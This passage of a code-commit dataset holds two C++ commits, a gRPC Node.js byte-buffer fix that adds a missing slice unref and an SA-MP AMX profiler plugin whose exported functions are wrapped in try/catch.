DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <string.h>\n\n#include <node.h>\n#include <nan.h>\n#include \"grpc\/grpc.h\"\n#include \"grpc\/byte_buffer_reader.h\"\n#include \"grpc\/support\/slice.h\"\n\n#include \"byte_buffer.h\"\n\nnamespace grpc {\nnamespace node {\n\n\nusing v8::Context;\nusing v8::Function;\nusing v8::Local;\nusing v8::Object;\nusing v8::Number;\nusing v8::Value;\n\ngrpc_byte_buffer *BufferToByteBuffer(Local<Value> buffer) {\n  Nan::HandleScope scope;\n  int length = ::node::Buffer::Length(buffer);\n  char *data = ::node::Buffer::Data(buffer);\n  gpr_slice slice = gpr_slice_malloc(length);\n  memcpy(GPR_SLICE_START_PTR(slice), data, length);\n  grpc_byte_buffer *byte_buffer(grpc_raw_byte_buffer_create(&slice, 1));\n  gpr_slice_unref(slice);\n  return byte_buffer;\n}\n\nnamespace {\nvoid delete_buffer(char *data, void *hint) { delete[] data; }\n}\n\nLocal<Value> ByteBufferToBuffer(grpc_byte_buffer *buffer) {\n  Nan::EscapableHandleScope scope;\n  if (buffer == NULL) {\n    return scope.Escape(Nan::Null());\n  }\n  grpc_byte_buffer_reader reader;\n  grpc_byte_buffer_reader_init(&reader, buffer);\n  gpr_slice slice = grpc_byte_buffer_reader_readall(&reader);\n  size_t length = GPR_SLICE_LENGTH(slice);\n  char *result = new char[length];\n  memcpy(result, GPR_SLICE_START_PTR(slice), length);\n  return scope.Escape(MakeFastBuffer(\n      Nan::NewBuffer(result, length, delete_buffer, NULL).ToLocalChecked()));\n}\n\nLocal<Value> MakeFastBuffer(Local<Value> slowBuffer) {\n  Nan::EscapableHandleScope scope;\n  Local<Object> globalObj = Nan::GetCurrentContext()->Global();\n  Local<Function> bufferConstructor = Local<Function>::Cast(\n      globalObj->Get(Nan::New(\"Buffer\").ToLocalChecked()));\n  Local<Value> consArgs[3] = {\n    slowBuffer,\n    Nan::New<Number>(::node::Buffer::Length(slowBuffer)),\n    Nan::New<Number>(0)\n  };\n  Local<Object> fastBuffer = bufferConstructor->NewInstance(3, consArgs);\n  return scope.Escape(fastBuffer);\n}\n}  \/\/ namespace node\n}  \/\/ namespace grpc\n<commit_msg>Remember to unref the slice<commit_after>\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <string.h>\n\n#include <node.h>\n#include <nan.h>\n#include \"grpc\/grpc.h\"\n#include \"grpc\/byte_buffer_reader.h\"\n#include \"grpc\/support\/slice.h\"\n\n#include \"byte_buffer.h\"\n\nnamespace grpc {\nnamespace node {\n\n\nusing v8::Context;\nusing v8::Function;\nusing v8::Local;\nusing v8::Object;\nusing v8::Number;\nusing v8::Value;\n\ngrpc_byte_buffer *BufferToByteBuffer(Local<Value> buffer) {\n  Nan::HandleScope scope;\n  int length = ::node::Buffer::Length(buffer);\n  char *data = ::node::Buffer::Data(buffer);\n  gpr_slice slice = gpr_slice_malloc(length);\n  memcpy(GPR_SLICE_START_PTR(slice), data, length);\n  grpc_byte_buffer *byte_buffer(grpc_raw_byte_buffer_create(&slice, 1));\n  gpr_slice_unref(slice);\n  return byte_buffer;\n}\n\nnamespace {\nvoid delete_buffer(char *data, void *hint) { delete[] data; }\n}\n\nLocal<Value> ByteBufferToBuffer(grpc_byte_buffer *buffer) {\n  Nan::EscapableHandleScope scope;\n  if (buffer == NULL) {\n    return scope.Escape(Nan::Null());\n  }\n  grpc_byte_buffer_reader reader;\n  grpc_byte_buffer_reader_init(&reader, buffer);\n  gpr_slice slice = grpc_byte_buffer_reader_readall(&reader);\n  size_t length = GPR_SLICE_LENGTH(slice);\n  char *result = new char[length];\n  memcpy(result, GPR_SLICE_START_PTR(slice), length);\n  gpr_slice_unref(slice);\n  return scope.Escape(MakeFastBuffer(\n      Nan::NewBuffer(result, length, delete_buffer, NULL).ToLocalChecked()));\n}\n\nLocal<Value> MakeFastBuffer(Local<Value> slowBuffer) {\n  Nan::EscapableHandleScope scope;\n  Local<Object> globalObj = Nan::GetCurrentContext()->Global();\n  Local<Function> bufferConstructor = Local<Function>::Cast(\n      globalObj->Get(Nan::New(\"Buffer\").ToLocalChecked()));\n  Local<Value> consArgs[3] = {\n    slowBuffer,\n    Nan::New<Number>(::node::Buffer::Length(slowBuffer)),\n    Nan::New<Number>(0)\n  };\n  Local<Object> fastBuffer = bufferConstructor->NewInstance(3, consArgs);\n  return scope.Escape(fastBuffer);\n}\n}  \/\/ namespace node\n}  \/\/ namespace grpc\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011-2013, Zeex\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ 1. Redistributions of source code must retain the above copyright notice,\n\/\/    this list of conditions and the following disclaimer.\n\/\/ 2. Redistributions in binary form must reproduce the above copyright notice,\n\/\/    this list of conditions and the following disclaimer in the documentation\n\/\/    and\/or other materials provided with the distribution.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n#include <algorithm>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <exception>\n#include <fstream>\n#include <list>\n#include <map>\n#include <sstream>\n#include <string>\n#include <subhook.h>\n#include <amx\/amx.h>\n#include <amx_profiler\/call_graph_writer_dot.h>\n#include <amx_profiler\/debug_info.h>\n#include <amx_profiler\/statistics_writer_html.h>\n#include <amx_profiler\/statistics_writer_text.h>\n#include <amx_profiler\/statistics_writer_json.h>\n#include <amx_profiler\/profiler.h>\n#include \"amxpath.h\"\n#include \"configreader.h\"\n#include \"plugin.h\"\n#include \"pluginversion.h\"\n\ntypedef void (*logprintf_t)(const char *format, ...);\n\nextern void *pAMXFunctions;\n\nstatic logprintf_t logprintf;\n\ntypedef std::map<AMX*, AMX_DEBUG> AmxToAmxDebugMap;\nstatic AmxToAmxDebugMap old_debug_hooks;\n\ntypedef std::map<AMX*, amx_profiler::Profiler*> AmxToProfilerMap;\nstatic AmxToProfilerMap profilers;\n\ntypedef std::map<AMX*, amx_profiler::DebugInfo*> AmxToDebugInfoMap; \nstatic AmxToDebugInfoMap debug_infos;\n\n\/\/ Plugin settings and their defauls.\nnamespace cfg {\n  bool          profile_gamemode      = false;\n  std::string   profile_filterscripts = \"\";\n  std::string   profile_format        = \"html\";\n  bool          call_graph            = false;\n  std::string   call_graph_format     = \"dot\";\n}\n\nstatic void PrintException(const std::exception &e) {\n  logprintf(\"[profiler] Error: %s\", e.what());\n}\n\nnamespace hooks {\n\nSubHook amx_Exec_hook;\nSubHook amx_Callback_hook;\n\nint AMXAPI amx_Debug(AMX *amx) {\n  amx_profiler::Profiler *profiler = ::profilers[amx];\n  if (profiler) {\n    try {\n      profiler->DebugHook();\n    } catch (const std::exception &e) {\n      PrintException(e);\n    }\n  }\n\n  AmxToAmxDebugMap::const_iterator iterator = old_debug_hooks.find(amx);\n  if (iterator != old_debug_hooks.end()) {\n    if (iterator->second != 0) {\n      return (iterator->second)(amx);\n    }\n  }\n\n  return AMX_ERR_NONE;\n}\n\nint AMXAPI amx_Callback(AMX *amx, cell index, cell *result, cell *params) {\n  SubHook::ScopedRemove r(&amx_Callback_hook);\n  SubHook::ScopedInstall i(&amx_Exec_hook);\n\n  amx_profiler::Profiler *profiler = ::profilers[amx];\n  if (profiler != 0) {\n    try {\n      return profiler->CallbackHook(index, result, params);\n    } catch (const std::exception &e) {\n      PrintException(e);\n    }\n  }\n\n  return ::amx_Callback(amx, index, result, params);\n}\n\nint AMXAPI amx_Exec(AMX *amx, cell *retval, int index) {\n  SubHook::ScopedRemove r(&amx_Exec_hook);\n  SubHook::ScopedInstall i(&amx_Callback_hook);\n\n  amx_profiler::Profiler *profiler = ::profilers[amx];\n  if (profiler != 0) {\n    try {\n      return profiler->ExecHook(retval, index);\n    } catch (const std::exception &e) {\n      PrintException(e);\n    }\n  }\n\n  return ::amx_Exec(amx, retval, index);\n}\n\n} \/\/ namespace hooks\n\nstatic void ToLower(std::string &s) {\n  std::transform(s.begin(), s.end(), s.begin(), ::tolower);\n}\n\nstatic std::string GetAmxPath(AMX *amx) {\n  \/\/ Has to be static to make caching work in AmxUnload().\n  static AmxPathFinder finder;\n  finder.AddSearchDirectory(\"gamemodes\");\n  finder.AddSearchDirectory(\"filterscripts\");\n  return finder.FindAmxPath(amx);\n}\n\nstatic std::string ToUnixPath(const std::string &path) {\n  std::string fsPath = path;\n  std::replace(fsPath.begin(), fsPath.end(), '\\\\', '\/');\n  return fsPath;\n}\n\nstatic bool IsGameMode(const std::string &amx_name) {\n  return ToUnixPath(amx_name).find(\"gamemodes\/\") != std::string::npos;\n}\n\nstatic bool IsFilterScript(const std::string &amx_name) {\n  return ToUnixPath(amx_name).find(\"filterscripts\/\") != std::string::npos;\n}\n\nstatic bool WantsProfiler(const std::string &amx_name) {\n  std::string good_amx_name = ToUnixPath(amx_name);\n\n  if (IsGameMode(good_amx_name)) {\n    if (cfg::profile_gamemode) {\n      return true;\n    }\n  } else if (IsFilterScript(good_amx_name)) {\n    std::string fs_list = cfg::profile_filterscripts;\n    std::stringstream fs_stream(fs_list);\n    do {\n      std::string fs_name;\n      fs_stream >> fs_name;\n      if (good_amx_name == \"filterscripts\/\" + fs_name + \".amx\"\n          || good_amx_name == \"filterscripts\/\" + fs_name) {\n        return true;\n      }\n    } while (!fs_stream.eof());\n  }\n\n  return false;\n}\n\ntemplate<typename Map, typename Key>\nvoid DeleteMapEntry(Map &map, const Key &key) {\n  typename Map::iterator iterator = map.find(key);\n  if (iterator != map.end()) {\n    delete iterator->second;\n    map.erase(iterator);\n  }\n}\n\ntemplate<typename Func>\nvoid *FunctionToVoidPtr(Func func) {\n  return (void*)func;\n}\n\nPLUGIN_EXPORT unsigned int PLUGIN_CALL Supports() {\n  return SUPPORTS_VERSION | SUPPORTS_AMX_NATIVES;\n}\n\nstatic void *AMXAPI amx_Align_stub(void *v) {\n  return v;\n}\n\nPLUGIN_EXPORT bool PLUGIN_CALL Load(void **ppData) {\n  pAMXFunctions = ppData[PLUGIN_DATA_AMX_EXPORTS];\n  logprintf = (logprintf_t)ppData[PLUGIN_DATA_LOGPRINTF];\n\n  void **exports = reinterpret_cast<void**>(pAMXFunctions);\n\n  exports[PLUGIN_AMX_EXPORT_Align16] = FunctionToVoidPtr(amx_Align_stub);\n  exports[PLUGIN_AMX_EXPORT_Align32] = FunctionToVoidPtr(amx_Align_stub);\n  exports[PLUGIN_AMX_EXPORT_Align64] = FunctionToVoidPtr(amx_Align_stub);\n\n  hooks::amx_Exec_hook.Install(exports[PLUGIN_AMX_EXPORT_Exec],\n                               FunctionToVoidPtr(hooks::amx_Exec));\n  hooks::amx_Callback_hook.Install(exports[PLUGIN_AMX_EXPORT_Callback],\n                                   FunctionToVoidPtr(hooks::amx_Callback));\n\n  ConfigReader server_cfg(\"server.cfg\");\n  server_cfg.GetOption(\"profile_gamemode\", cfg::profile_gamemode);\n  server_cfg.GetOption(\"profile_filterscripts\", cfg::profile_filterscripts);\n  server_cfg.GetOption(\"profile_format\", cfg::profile_format);\n  server_cfg.GetOption(\"call_graph\", cfg::call_graph);\n  server_cfg.GetOption(\"call_graph_format\", cfg::call_graph_format);\n\n  logprintf(\"  Profiler v\" PROJECT_VERSION_STRING \" is OK.\");\n\n  return true;\n}\n\nPLUGIN_EXPORT int PLUGIN_CALL AmxLoad(AMX *amx) {\n  std::string filename = GetAmxPath(amx);\n\n  if (filename.empty()) {\n    logprintf(\"[profiler] Failed to find corresponding .amx file\");\n    return AMX_ERR_NONE;\n  }\n\n  if (!WantsProfiler(filename)) {\n    return AMX_ERR_NONE;\n  }\n\n  try {\n    amx_profiler::DebugInfo *debug_info = 0;\n\n    if (amx_profiler::HaveDebugInfo(amx)) {\n      debug_info = new amx_profiler::DebugInfo(filename);\n      if (debug_info->is_loaded()) {\n        ::debug_infos[amx] = debug_info;\n      } else {\n        logprintf(\"[profiler] Error loading debug info: %s\",\n                  aux_StrError(debug_info->last_error()));\n        delete debug_info;\n        debug_info = 0;\n      }\n    }\n\n    amx_profiler::Profiler *profiler = new amx_profiler::Profiler(amx,\n                                                                  debug_info);\n    profiler->set_call_graph_enabled(cfg::call_graph);\n\n    if (debug_info != 0) {\n      logprintf(\"[profiler] Attached profiler to '%s'\", filename.c_str());\n    } else {\n      logprintf(\"[profiler] Attached profiler to '%s' (no debug info)\",\n                filename.c_str());\n    }\n\n    ::old_debug_hooks[amx] = amx->debug;\n    amx_SetDebugHook(amx, hooks::amx_Debug);\n\n    ::profilers[amx] = profiler;\n  }\n  catch (const std::exception &e) {\n    PrintException(e);\n  }\n\n  return AMX_ERR_NONE;\n}\n\nPLUGIN_EXPORT int PLUGIN_CALL AmxUnload(AMX *amx) {\n  try {\n    amx_profiler::Profiler *profiler = ::profilers[amx];\n\n    if (profiler != 0) {\n      std::string amx_path = GetAmxPath(amx);\n      std::string amx_name = std::string(amx_path, 0,\n                                         amx_path.find_last_of(\".\"));\n\n      ToLower(cfg::profile_format);\n      std::string profile_filename = amx_name + \"-profile.\" +\n                                     cfg::profile_format;\n      std::ofstream profile_stream(profile_filename.c_str());\n\n      if (profile_stream.is_open()) {\n        amx_profiler::StatisticsWriter *writer = 0;\n\n        if (cfg::profile_format == \"html\") {\n          writer = new amx_profiler::StatisticsWriterHtml;\n        } else if (cfg::profile_format == \"txt\" ||\n                   cfg::profile_format == \"text\") {\n          writer = new amx_profiler::StatisticsWriterText;\n        } else if (cfg::profile_format == \"json\") {\n          writer = new amx_profiler::StatisticsWriterJson;\n        } else {\n          logprintf(\"[profiler] Unrecognized profile format '%s'\",\n                    cfg::profile_format.c_str());\n        }\n\n        if (writer != 0) {\n          logprintf(\"[profiler] Writing profile to '%s'\",\n                    profile_filename.c_str());\n          writer->set_stream(&profile_stream);\n          writer->set_script_name(amx_path);\n          writer->set_print_date(true);\n          writer->set_print_run_time(true);\n          writer->Write(profiler->stats());\n          delete writer;\n        }\n\n        profile_stream.close();\n      } else {\n        logprintf(\"[profiler]: Error opening file '%s'\",\n                  profile_filename.c_str());\n      }\n\n      if (cfg::call_graph) {\n        ToLower(cfg::call_graph_format);\n        std::string call_graph_filename = amx_name + \"-calls.\" +\n                                          cfg::call_graph_format;\n        std::ofstream call_graph_stream(call_graph_filename.c_str());\n\n        if (call_graph_stream.is_open()) {\n          amx_profiler::CallGraphWriterDot *writer = 0;\n\n          if (cfg::call_graph_format == \"dot\") {\n            writer = new amx_profiler::CallGraphWriterDot;\n          } else {\n            logprintf(\"[profiler] Unrecognized call graph format '%s'\",\n                      cfg::call_graph_format.c_str());\n          }\n\n          if (writer != 0) {\n            logprintf(\"[profiler] Writing call graph to '%s'\",\n                      call_graph_filename.c_str());\n            writer->set_stream(&call_graph_stream);\n            writer->set_script_name(amx_path);\n            writer->set_root_node_name(\"SA-MP Server\");\n            writer->Write(profiler->call_graph());\n            delete writer;\n          }\n\n          call_graph_stream.close();\n        } else {\n          logprintf(\"[profiler]: Error opening file '%s'\",\n                    call_graph_filename.c_str());\n        }\n      }\n    }\n  }\n  catch (const std::exception &e) {\n    PrintException(e);\n  }\n\n  DeleteMapEntry(::profilers, amx);\n  DeleteMapEntry(::debug_infos, amx);\n\n  return AMX_ERR_NONE;\n}\n<commit_msg>Wrap ALL code in exported functions in try\/catch for extra safety<commit_after>\/\/ Copyright (c) 2011-2013, Zeex\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ 1. Redistributions of source code must retain the above copyright notice,\n\/\/    this list of conditions and the following disclaimer.\n\/\/ 2. Redistributions in binary form must reproduce the above copyright notice,\n\/\/    this list of conditions and the following disclaimer in the documentation\n\/\/    and\/or other materials provided with the distribution.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n#include <algorithm>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <exception>\n#include <fstream>\n#include <list>\n#include <map>\n#include <sstream>\n#include <string>\n#include <subhook.h>\n#include <amx\/amx.h>\n#include <amx_profiler\/call_graph_writer_dot.h>\n#include <amx_profiler\/debug_info.h>\n#include <amx_profiler\/statistics_writer_html.h>\n#include <amx_profiler\/statistics_writer_text.h>\n#include <amx_profiler\/statistics_writer_json.h>\n#include <amx_profiler\/profiler.h>\n#include \"amxpath.h\"\n#include \"configreader.h\"\n#include \"plugin.h\"\n#include \"pluginversion.h\"\n\ntypedef void (*logprintf_t)(const char *format, ...);\n\nextern void *pAMXFunctions;\n\nstatic logprintf_t logprintf;\n\ntypedef std::map<AMX*, AMX_DEBUG> AmxToAmxDebugMap;\nstatic AmxToAmxDebugMap old_debug_hooks;\n\ntypedef std::map<AMX*, amx_profiler::Profiler*> AmxToProfilerMap;\nstatic AmxToProfilerMap profilers;\n\ntypedef std::map<AMX*, amx_profiler::DebugInfo*> AmxToDebugInfoMap; \nstatic AmxToDebugInfoMap debug_infos;\n\n\/\/ Plugin settings and their defauls.\nnamespace cfg {\n  bool          profile_gamemode      = false;\n  std::string   profile_filterscripts = \"\";\n  std::string   profile_format        = \"html\";\n  bool          call_graph            = false;\n  std::string   call_graph_format     = \"dot\";\n}\n\nstatic void PrintException(const std::exception &e) {\n  logprintf(\"[profiler] Error: %s\", e.what());\n}\n\nnamespace hooks {\n\nSubHook amx_Exec_hook;\nSubHook amx_Callback_hook;\n\nint AMXAPI amx_Debug(AMX *amx) {\n  amx_profiler::Profiler *profiler = ::profilers[amx];\n  if (profiler) {\n    try {\n      profiler->DebugHook();\n    } catch (const std::exception &e) {\n      PrintException(e);\n    }\n  }\n\n  AmxToAmxDebugMap::const_iterator iterator = old_debug_hooks.find(amx);\n  if (iterator != old_debug_hooks.end()) {\n    if (iterator->second != 0) {\n      return (iterator->second)(amx);\n    }\n  }\n\n  return AMX_ERR_NONE;\n}\n\nint AMXAPI amx_Callback(AMX *amx, cell index, cell *result, cell *params) {\n  SubHook::ScopedRemove r(&amx_Callback_hook);\n  SubHook::ScopedInstall i(&amx_Exec_hook);\n\n  amx_profiler::Profiler *profiler = ::profilers[amx];\n  if (profiler != 0) {\n    try {\n      return profiler->CallbackHook(index, result, params);\n    } catch (const std::exception &e) {\n      PrintException(e);\n    }\n  }\n\n  return ::amx_Callback(amx, index, result, params);\n}\n\nint AMXAPI amx_Exec(AMX *amx, cell *retval, int index) {\n  SubHook::ScopedRemove r(&amx_Exec_hook);\n  SubHook::ScopedInstall i(&amx_Callback_hook);\n\n  amx_profiler::Profiler *profiler = ::profilers[amx];\n  if (profiler != 0) {\n    try {\n      return profiler->ExecHook(retval, index);\n    } catch (const std::exception &e) {\n      PrintException(e);\n    }\n  }\n\n  return ::amx_Exec(amx, retval, index);\n}\n\n} \/\/ namespace hooks\n\nstatic void ToLower(std::string &s) {\n  std::transform(s.begin(), s.end(), s.begin(), ::tolower);\n}\n\nstatic std::string GetAmxPath(AMX *amx) {\n  \/\/ Has to be static to make caching work in AmxUnload().\n  static AmxPathFinder finder;\n  finder.AddSearchDirectory(\"gamemodes\");\n  finder.AddSearchDirectory(\"filterscripts\");\n  return finder.FindAmxPath(amx);\n}\n\nstatic std::string ToUnixPath(const std::string &path) {\n  std::string fsPath = path;\n  std::replace(fsPath.begin(), fsPath.end(), '\\\\', '\/');\n  return fsPath;\n}\n\nstatic bool IsGameMode(const std::string &amx_name) {\n  return ToUnixPath(amx_name).find(\"gamemodes\/\") != std::string::npos;\n}\n\nstatic bool IsFilterScript(const std::string &amx_name) {\n  return ToUnixPath(amx_name).find(\"filterscripts\/\") != std::string::npos;\n}\n\nstatic bool WantsProfiler(const std::string &amx_name) {\n  std::string good_amx_name = ToUnixPath(amx_name);\n\n  if (IsGameMode(good_amx_name)) {\n    if (cfg::profile_gamemode) {\n      return true;\n    }\n  } else if (IsFilterScript(good_amx_name)) {\n    std::string fs_list = cfg::profile_filterscripts;\n    std::stringstream fs_stream(fs_list);\n    do {\n      std::string fs_name;\n      fs_stream >> fs_name;\n      if (good_amx_name == \"filterscripts\/\" + fs_name + \".amx\"\n          || good_amx_name == \"filterscripts\/\" + fs_name) {\n        return true;\n      }\n    } while (!fs_stream.eof());\n  }\n\n  return false;\n}\n\ntemplate<typename Map, typename Key>\nvoid DeleteMapEntry(Map &map, const Key &key) {\n  typename Map::iterator iterator = map.find(key);\n  if (iterator != map.end()) {\n    delete iterator->second;\n    map.erase(iterator);\n  }\n}\n\ntemplate<typename Func>\nvoid *FunctionToVoidPtr(Func func) {\n  return (void*)func;\n}\n\nPLUGIN_EXPORT unsigned int PLUGIN_CALL Supports() {\n  return SUPPORTS_VERSION | SUPPORTS_AMX_NATIVES;\n}\n\nstatic void *AMXAPI amx_Align_stub(void *v) {\n  return v;\n}\n\nPLUGIN_EXPORT bool PLUGIN_CALL Load(void **ppData) {\n  try {\n    pAMXFunctions = ppData[PLUGIN_DATA_AMX_EXPORTS];\n    logprintf = (logprintf_t) ppData[PLUGIN_DATA_LOGPRINTF];\n\n    void **exports = reinterpret_cast<void**>(pAMXFunctions);\n\n    exports[PLUGIN_AMX_EXPORT_Align16] = FunctionToVoidPtr(amx_Align_stub);\n    exports[PLUGIN_AMX_EXPORT_Align32] = FunctionToVoidPtr(amx_Align_stub);\n    exports[PLUGIN_AMX_EXPORT_Align64] = FunctionToVoidPtr(amx_Align_stub);\n\n    hooks::amx_Exec_hook.Install(exports[PLUGIN_AMX_EXPORT_Exec],\n                                 FunctionToVoidPtr(hooks::amx_Exec));\n    hooks::amx_Callback_hook.Install(exports[PLUGIN_AMX_EXPORT_Callback],\n                                     FunctionToVoidPtr(hooks::amx_Callback));\n\n    ConfigReader server_cfg(\"server.cfg\");\n    server_cfg.GetOption(\"profile_gamemode\", cfg::profile_gamemode);\n    server_cfg.GetOption(\"profile_filterscripts\", cfg::profile_filterscripts);\n    server_cfg.GetOption(\"profile_format\", cfg::profile_format);\n    server_cfg.GetOption(\"call_graph\", cfg::call_graph);\n    server_cfg.GetOption(\"call_graph_format\", cfg::call_graph_format);\n\n    logprintf(\"  Profiler v\" PROJECT_VERSION_STRING \" is OK.\");\n  }\n  catch (std::exception &e) {\n    PrintException(e);\n  }\n\n  return true;\n}\n\nPLUGIN_EXPORT int PLUGIN_CALL AmxLoad(AMX *amx) {\n  try {\n    std::string filename = GetAmxPath(amx);\n\n    if (filename.empty()) {\n      logprintf(\"[profiler] Failed to find corresponding .amx file\");\n      return AMX_ERR_NONE;\n    }\n\n    if (!WantsProfiler(filename)) {\n      return AMX_ERR_NONE;\n    }\n\n    amx_profiler::DebugInfo *debug_info = 0;\n\n    if (amx_profiler::HaveDebugInfo(amx)) {\n      debug_info = new amx_profiler::DebugInfo(filename);\n      if (debug_info->is_loaded()) {\n        ::debug_infos[amx] = debug_info;\n      } else {\n        logprintf(\"[profiler] Error loading debug info: %s\",\n                  aux_StrError(debug_info->last_error()));\n        delete debug_info;\n        debug_info = 0;\n      }\n    }\n\n    amx_profiler::Profiler *profiler = new amx_profiler::Profiler(amx,\n                                                                  debug_info);\n    profiler->set_call_graph_enabled(cfg::call_graph);\n\n    if (debug_info != 0) {\n      logprintf(\"[profiler] Attached profiler to '%s'\", filename.c_str());\n    } else {\n      logprintf(\"[profiler] Attached profiler to '%s' (no debug info)\",\n                filename.c_str());\n    }\n\n    ::old_debug_hooks[amx] = amx->debug;\n    amx_SetDebugHook(amx, hooks::amx_Debug);\n\n    ::profilers[amx] = profiler;\n  }\n  catch (const std::exception &e) {\n    PrintException(e);\n  }\n\n  return AMX_ERR_NONE;\n}\n\nPLUGIN_EXPORT int PLUGIN_CALL AmxUnload(AMX *amx) {\n  try {\n    amx_profiler::Profiler *profiler = ::profilers[amx];\n\n    if (profiler != 0) {\n      std::string amx_path = GetAmxPath(amx);\n      std::string amx_name = std::string(amx_path, 0,\n                                         amx_path.find_last_of(\".\"));\n\n      ToLower(cfg::profile_format);\n      std::string profile_filename = amx_name + \"-profile.\" +\n                                     cfg::profile_format;\n      std::ofstream profile_stream(profile_filename.c_str());\n\n      if (profile_stream.is_open()) {\n        amx_profiler::StatisticsWriter *writer = 0;\n\n        if (cfg::profile_format == \"html\") {\n          writer = new amx_profiler::StatisticsWriterHtml;\n        } else if (cfg::profile_format == \"txt\" ||\n                   cfg::profile_format == \"text\") {\n          writer = new amx_profiler::StatisticsWriterText;\n        } else if (cfg::profile_format == \"json\") {\n          writer = new amx_profiler::StatisticsWriterJson;\n        } else {\n          logprintf(\"[profiler] Unrecognized profile format '%s'\",\n                    cfg::profile_format.c_str());\n        }\n\n        if (writer != 0) {\n          logprintf(\"[profiler] Writing profile to '%s'\",\n                    profile_filename.c_str());\n          writer->set_stream(&profile_stream);\n          writer->set_script_name(amx_path);\n          writer->set_print_date(true);\n          writer->set_print_run_time(true);\n          writer->Write(profiler->stats());\n          delete writer;\n        }\n\n        profile_stream.close();\n      } else {\n        logprintf(\"[profiler]: Error opening file '%s'\",\n                  profile_filename.c_str());\n      }\n\n      if (cfg::call_graph) {\n        ToLower(cfg::call_graph_format);\n        std::string call_graph_filename = amx_name + \"-calls.\" +\n                                          